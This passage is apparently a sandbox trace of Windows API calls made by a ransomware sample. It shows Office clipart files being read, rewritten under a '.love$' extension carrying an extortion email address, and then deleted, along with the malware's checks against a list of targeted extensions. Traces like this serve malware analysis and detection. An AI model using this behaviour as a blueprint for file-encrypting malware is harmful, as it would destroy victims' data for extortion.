dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0234.230] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.230] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.231] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.232] GetLastError () returned 0x0 [0234.232] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x600, lpOverlapped=0x0) returned 1 [0234.317] WriteFile (in: hFile=0x3bc, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x610, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x610, lpOverlapped=0x0) returned 1 [0234.319] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0234.319] WriteFile (in: hFile=0x3bc, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0234.319] SetEndOfFile (hFile=0x3bc) returned 1 [0234.319] CloseHandle (hObject=0x3bc) returned 1 [0234.319] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.319] SetEndOfFile (hFile=0x4bc) returned 1 [0234.334] CloseHandle (hObject=0x4bc) returned 1 [0234.334] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.334] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00248_.wmf")) returned 1 [0234.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.336] lstrlenW (lpString=".doc") returned 4 [0234.336] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.336] lstrlenW (lpString=".docx") returned 5 [0234.336] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.336] lstrlenW (lpString=".pdf") returned 4 [0234.336] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.336] lstrlenW (lpString=".xls") returned 4 [0234.336] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.336] lstrlenW (lpString=".xlsx") returned 5 [0234.336] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.336] lstrlenW (lpString=".ppt") returned 4 [0234.336] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.336] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.336] lstrlenW (lpString=".zip") returned 4 [0234.336] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.336] lstrlenW (lpString=".rar") returned 4 [0234.336] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.336] lstrlenW (lpString=".bz2") returned 4 [0234.336] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.336] lstrlenW (lpString=".7z") returned 3 [0234.336] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.337] lstrlenW (lpString=".dbf") returned 4 [0234.337] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.337] lstrlenW (lpString=".1cd") returned 4 [0234.337] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.337] lstrlenW (lpString=".jpg") returned 4 [0234.337] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.337] lstrlenW (lpString=".doc") returned 4 [0234.337] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.337] lstrlenW (lpString=".docx") returned 5 [0234.337] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.337] lstrlenW (lpString=".pdf") returned 4 [0234.337] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.337] lstrlenW (lpString=".xls") returned 4 [0234.337] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.337] lstrlenW (lpString=".xlsx") returned 5 [0234.337] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.337] lstrlenW (lpString=".ppt") returned 4 [0234.337] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.337] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.337] lstrlenW (lpString=".zip") returned 4 [0234.338] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.338] lstrlenW (lpString=".rar") returned 4 [0234.338] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.338] lstrlenW (lpString=".bz2") returned 4 [0234.338] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.338] lstrlenW (lpString=".7z") returned 3 [0234.338] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.338] lstrlenW (lpString=".dbf") returned 4 [0234.338] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.338] lstrlenW (lpString=".1cd") returned 4 [0234.338] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.338] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00248_.WMF") returned 68 [0234.338] lstrlenW (lpString=".jpg") returned 4 [0234.338] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.338] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.338] lstrlenW (lpString="BL00254_.WMF") returned 12 [0234.338] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0234.340] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=1736) returned 1 [0234.340] CloseHandle (hObject=0x4bc) returned 1 [0234.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 0x220 [0234.344] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.344] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0234.345] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.345] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.345] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.346] GetLastError () returned 0x0 [0234.346] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x6c8, lpOverlapped=0x0) returned 1 [0234.404] WriteFile (in: hFile=0x3bc, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0x6d0, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0x6d0, lpOverlapped=0x0) returned 1 [0234.406] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0234.406] WriteFile (in: hFile=0x3bc, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0234.406] SetEndOfFile (hFile=0x3bc) returned 1 [0234.407] CloseHandle (hObject=0x3bc) returned 1 [0234.407] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.407] SetEndOfFile (hFile=0x4bc) returned 1 [0234.413] CloseHandle (hObject=0x4bc) returned 1 [0234.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00254_.wmf")) returned 1 [0234.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.418] lstrlenW (lpString=".doc") returned 4 [0234.418] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.418] lstrlenW (lpString=".docx") returned 5 [0234.418] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.418] lstrlenW (lpString=".pdf") returned 4 [0234.418] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.418] lstrlenW (lpString=".xls") returned 4 [0234.418] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.418] lstrlenW (lpString=".xlsx") returned 5 [0234.418] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.418] lstrlenW (lpString=".ppt") returned 4 [0234.418] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.418] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.418] lstrlenW (lpString=".zip") returned 4 [0234.418] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.418] lstrlenW (lpString=".rar") returned 4 [0234.418] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.418] lstrlenW (lpString=".bz2") returned 4 [0234.418] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.418] lstrlenW (lpString=".7z") returned 3 [0234.418] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.419] lstrlenW (lpString=".dbf") returned 4 [0234.419] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.419] lstrlenW (lpString=".1cd") returned 4 [0234.419] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.419] lstrlenW (lpString=".jpg") returned 4 [0234.419] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.419] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.419] lstrlenW (lpString=".doc") returned 4 [0234.419] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.419] lstrlenW (lpString=".docx") returned 5 [0234.419] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.419] lstrlenW (lpString=".pdf") returned 4 [0234.419] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.419] lstrlenW (lpString=".xls") returned 4 [0234.419] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.419] lstrlenW (lpString=".xlsx") returned 5 [0234.419] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.419] lstrlenW (lpString=".ppt") returned 4 [0234.419] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.420] lstrlenW (lpString=".zip") returned 4 [0234.420] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.420] lstrlenW (lpString=".rar") returned 4 [0234.420] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.420] lstrlenW (lpString=".bz2") returned 4 [0234.420] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.420] lstrlenW (lpString=".7z") returned 3 [0234.420] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.420] lstrlenW (lpString=".dbf") returned 4 [0234.420] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.420] lstrlenW (lpString=".1cd") returned 4 [0234.420] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.420] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00254_.WMF") returned 68 [0234.420] lstrlenW (lpString=".jpg") returned 4 [0234.420] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.420] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.420] lstrlenW (lpString="BL00262_.WMF") returned 12 [0234.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0234.422] GetFileSizeEx (in: hFile=0x4bc, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2556) returned 1 [0234.422] CloseHandle (hObject=0x4bc) returned 1 [0234.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 0x220 [0234.422] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4bc [0234.423] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.423] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.423] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0234.424] GetLastError () returned 0x0 [0234.424] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x9fc, lpOverlapped=0x0) returned 1 [0234.441] WriteFile (in: hFile=0x3bc, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xa00, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xa00, lpOverlapped=0x0) returned 1 [0234.443] ReadFile (in: hFile=0x4bc, lpBuffer=0x397c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfecc, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesRead=0x2acfecc*=0x0, lpOverlapped=0x0) returned 1 [0234.443] WriteFile (in: hFile=0x3bc, lpBuffer=0x397c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2acfc94, lpOverlapped=0x0 | out: lpBuffer=0x397c020*, lpNumberOfBytesWritten=0x2acfc94*=0xec, lpOverlapped=0x0) returned 1 [0234.443] SetEndOfFile (hFile=0x3bc) returned 1 [0234.443] CloseHandle (hObject=0x3bc) returned 1 [0234.444] SetFilePointerEx (in: hFile=0x4bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.444] SetEndOfFile (hFile=0x4bc) returned 1 [0234.447] CloseHandle (hObject=0x4bc) returned 1 [0234.448] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x220) returned 1 [0234.449] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00262_.wmf")) returned 1 [0234.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.449] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.449] lstrlenW (lpString=".doc") returned 4 [0234.449] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.449] lstrlenW (lpString=".docx") returned 5 [0234.449] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.450] lstrlenW (lpString=".pdf") returned 4 [0234.450] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.450] lstrlenW (lpString=".xls") returned 4 [0234.450] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.450] lstrlenW (lpString=".xlsx") returned 5 [0234.450] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.450] lstrlenW (lpString=".ppt") returned 4 [0234.450] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.450] lstrlenW (lpString=".zip") returned 4 [0234.450] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.450] lstrlenW (lpString=".rar") returned 4 [0234.450] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.450] lstrlenW (lpString=".bz2") returned 4 [0234.450] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.450] lstrlenW (lpString=".7z") returned 3 [0234.450] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.450] lstrlenW (lpString=".dbf") returned 4 [0234.450] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.450] lstrlenW (lpString=".1cd") returned 4 [0234.450] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.450] lstrlenW (lpString=".jpg") returned 4 [0234.450] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.450] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.450] lstrlenW (lpString=".doc") returned 4 [0234.450] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0234.450] lstrlenW (lpString=".docx") returned 5 [0234.450] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0234.451] lstrlenW (lpString=".pdf") returned 4 [0234.451] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0234.451] lstrlenW (lpString=".xls") returned 4 [0234.451] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0234.451] lstrlenW (lpString=".xlsx") returned 5 [0234.451] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0234.451] lstrlenW (lpString=".ppt") returned 4 [0234.451] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0234.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.451] lstrlenW (lpString=".zip") returned 4 [0234.451] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0234.451] lstrlenW (lpString=".rar") returned 4 [0234.451] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0234.451] lstrlenW (lpString=".bz2") returned 4 [0234.451] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0234.451] lstrlenW (lpString=".7z") returned 3 [0234.451] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0234.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.451] lstrlenW (lpString=".dbf") returned 4 [0234.451] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0234.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.451] lstrlenW (lpString=".1cd") returned 4 [0234.451] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0234.451] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00262_.WMF") returned 68 [0234.451] lstrlenW (lpString=".jpg") returned 4 [0234.451] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0234.451] lstrcmpiW (lpString1=".WMF", lpString2=".love$") returned 1 [0234.452] lstrlenW (lpString="BL00267_.WMF") returned 12 [0234.452] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0234.456] GetFileSizeEx (in: hFile=0x44c, lpFileSize=0x2acff14 | out: lpFileSize=0x2acff14*=2644) returned 1 [0234.456] CloseHandle (hObject=0x44c) returned 1 [0234.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf")) returned 0x220 [0234.456] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0234.456] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00267_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bl00267_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x44c [0234.764] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: lpNewFilePointer=0x0) returned 1 [0234.764] SetFilePointerEx (in: hFile=0x44c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec0 | out: 